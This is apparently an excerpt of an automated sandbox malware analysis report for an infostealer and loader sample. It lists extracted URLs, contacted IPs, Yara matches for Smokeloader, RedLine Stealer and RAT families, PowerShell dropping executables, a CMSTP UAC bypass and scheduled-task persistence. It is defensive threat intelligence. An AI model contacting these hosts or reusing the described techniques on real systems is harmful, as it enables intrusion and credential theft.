Source: file.exe, 00000000.00000002.2202781227.000000000052A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201364839.000000000052A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000
Source: u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000026.00000003.2255870893.0000020E72AA3000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.38.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000026.00000003.2255870893.0000020E72A30000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.38.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000007.00000002.2063150468.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000007.00000002.2063150468.0000000005874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: freebl3[1].dll.8.dr	String found in binary or memory: https://mozilla.org0/
Source: powershell.exe, 00000007.00000002.2066528170.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.38.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	String found in binary or memory: https://support.mozilla.org
Source: BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	String found in binary or memory: https://www.mozilla.org
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/IDGDHCGC
Source: BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: u5do.0.exe, 00000008.00000003.2253480076.00000000309BA000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: u5do.0.exe, 00000008.00000003.2253480076.00000000309BA000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: u5do.0.exe, 00000008.00000003.2253480076.00000000309BA000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBKKECFHJKEBKEHIDAEBK.8.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735

Source: unknown	HTTPS traffic detected: 13.249.105.199:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.249.105.199:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.249.105.199:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.249.105.199:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.249.105.199:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.221.125.202:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.181.163.196:443 -> 192.168.2.5:49735 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040571B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040571B

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.2.run.exe.3521d5b.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.cmd.exe.58c5264.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.cmd.exe.63000c8.8.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 11.2.run.exe.34dd86d.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.cmd.exe.63000c8.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 11.2.run.exe.352115b.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.cmd.exe.58c5e64.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.cmd.exe.5881976.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000006.00000002.2388126595.0000000004185000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.2524648467.0000000004175000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: C:\Users\user\AppData\Local\Temp\hmgv, type: DROPPED	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, type: DROPPED	Matched rule: Detects zgRAT Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\i1.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\i3.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCAF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	8_2_6BCAF280
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD0B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	8_2_6BD0B910
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD0B8C0 rand_s,NtQueryVirtualMemory,	8_2_6BD0B8C0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD0B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	8_2_6BD0B700

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00403532 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403532

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	File created: C:\Windows\Tasks\biPxHmULFllsbMgnpt.job
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	File created: C:\Windows\system32\GroupPolicy\Adm
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	File created: C:\Windows\system32\GroupPolicy\Machine
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	File created: C:\Windows\system32\GroupPolicy\User
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	File created: C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	File created: C:\Windows\system32\GroupPolicy\gpt.ini

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe

File deleted: C:\Windows\SysWOW64\GroupPolicyovQVV

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406DC6	0_2_00406DC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040759D	0_2_0040759D
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_00427880	6_2_00427880
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0040B8AE	6_2_0040B8AE
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0040C191	6_2_0040C191
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_004123A0	6_2_004123A0
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0040F441	6_2_0040F441
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0040C44C	6_2_0040C44C
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0042140C	6_2_0042140C
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0040BC20	6_2_0040BC20
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0041BE39	6_2_0041BE39
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0040BECA	6_2_0040BECA
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_00408761	6_2_00408761
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0041B722	6_2_0041B722
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0040C7FC	6_2_0040C7FC
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040F2607	6_2_040F2607
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040EBE87	6_2_040EBE87
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040EF6A8	6_2_040EF6A8
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040EC6B3	6_2_040EC6B3
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040EC131	6_2_040EC131
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040FB989	6_2_040FB989
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040E89C8	6_2_040E89C8
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040ECA63	6_2_040ECA63
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_04107AE7	6_2_04107AE7
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040EBB15	6_2_040EBB15
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040EC3F8	6_2_040EC3F8
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCA35A0	8_2_6BCA35A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD153C8	8_2_6BD153C8
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCAF380	8_2_6BCAF380
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCA5340	8_2_6BCA5340
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCBC370	8_2_6BCBC370
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCED320	8_2_6BCED320
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCE8AC0	8_2_6BCE8AC0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCC1AF0	8_2_6BCC1AF0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCEE2F0	8_2_6BCEE2F0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD1BA90	8_2_6BD1BA90
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD12AB0	8_2_6BD12AB0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCA22A0	8_2_6BCA22A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCD4AA0	8_2_6BCD4AA0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCBCAB0	8_2_6BCBCAB0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCE9A60	8_2_6BCE9A60
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD02990	8_2_6BD02990
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCE5190	8_2_6BCE5190
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCAC9A0	8_2_6BCAC9A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCDD9B0	8_2_6BCDD9B0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCCA940	8_2_6BCCA940
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD1B170	8_2_6BD1B170
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCBD960	8_2_6BCBD960
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCFB970	8_2_6BCFB970
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD150C7	8_2_6BD150C7
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCCC0E0	8_2_6BCCC0E0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCE58E0	8_2_6BCE58E0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCD60A0	8_2_6BCD60A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCC8850	8_2_6BCC8850
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCCD850	8_2_6BCCD850
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCEF070	8_2_6BCEF070
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCB7810	8_2_6BCB7810
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCEB820	8_2_6BCEB820
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCF4820	8_2_6BCF4820
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCADFE0	8_2_6BCADFE0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCD6FF0	8_2_6BCD6FF0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCF77A0	8_2_6BCF77A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCB9F00	8_2_6BCB9F00
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCE7710	8_2_6BCE7710
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD176E3	8_2_6BD176E3
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCABEF0	8_2_6BCABEF0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCBFEF0	8_2_6BCBFEF0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD0E680	8_2_6BD0E680
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCC5E90	8_2_6BCC5E90
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD04EA0	8_2_6BD04EA0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCF2E4E	8_2_6BCF2E4E
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCC4640	8_2_6BCC4640
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCC9E50	8_2_6BCC9E50
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCE3E50	8_2_6BCE3E50
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD16E63	8_2_6BD16E63
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCAC670	8_2_6BCAC670
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCF5600	8_2_6BCF5600
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCE7E10	8_2_6BCE7E10
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD09E30	8_2_6BD09E30
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCE0DD0	8_2_6BCE0DD0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD085F0	8_2_6BD085F0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCBFD00	8_2_6BCBFD00
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCCED10	8_2_6BCCED10
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCD0512	8_2_6BCD0512
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCB64C0	8_2_6BCB64C0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCCD4D0	8_2_6BCCD4D0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCAD4E0	8_2_6BCAD4E0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCE6CF0	8_2_6BCE6CF0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCB6C80	8_2_6BCB6C80
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD034A0	8_2_6BD034A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD0C4A0	8_2_6BD0C4A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCB5440	8_2_6BCB5440
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD1545C	8_2_6BD1545C
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD1AC00	8_2_6BD1AC00
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCE5C10	8_2_6BCE5C10
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCF2C10	8_2_6BCF2C10
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD1542B	8_2_6BD1542B
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE56BE0	8_2_6BE56BE0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDF0BA0	8_2_6BDF0BA0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDCEA80	8_2_6BDCEA80
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDCCA70	8_2_6BDCCA70
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE08A30	8_2_6BE08A30
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDFEA00	8_2_6BDFEA00
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE6C9E0	8_2_6BE6C9E0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD849F0	8_2_6BD849F0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE0A9A0	8_2_6BE0A9A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE109B0	8_2_6BE109B0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDE09A0	8_2_6BDE09A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD88960	8_2_6BD88960
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDA6900	8_2_6BDA6900
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE568E0	8_2_6BE568E0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE24840	8_2_6BE24840
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDA0820	8_2_6BDA0820
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDDA820	8_2_6BDDA820
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE2EFF0	8_2_6BE2EFF0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD50FE0	8_2_6BD50FE0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE98FB0	8_2_6BE98FB0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD5EFB0	8_2_6BD5EFB0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE12F70	8_2_6BE12F70
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDBEF40	8_2_6BDBEF40
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD56F10	8_2_6BD56F10
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE90F20	8_2_6BE90F20
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD5AEC0	8_2_6BD5AEC0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDF0EC0	8_2_6BDF0EC0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDD6E90	8_2_6BDD6E90
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDEEE70	8_2_6BDEEE70
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE30E20	8_2_6BE30E20
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BEDCDC0	8_2_6BEDCDC0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDE6D90	8_2_6BDE6D90
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BD54DB0	8_2_6BD54DB0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE1ED70	8_2_6BE1ED70
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE7AD50	8_2_6BE7AD50
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BED8D20	8_2_6BED8D20

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: String function: 040E9F27 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: String function: 040E36F8 appears 184 times
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: String function: 040E1D46 appears 44 times
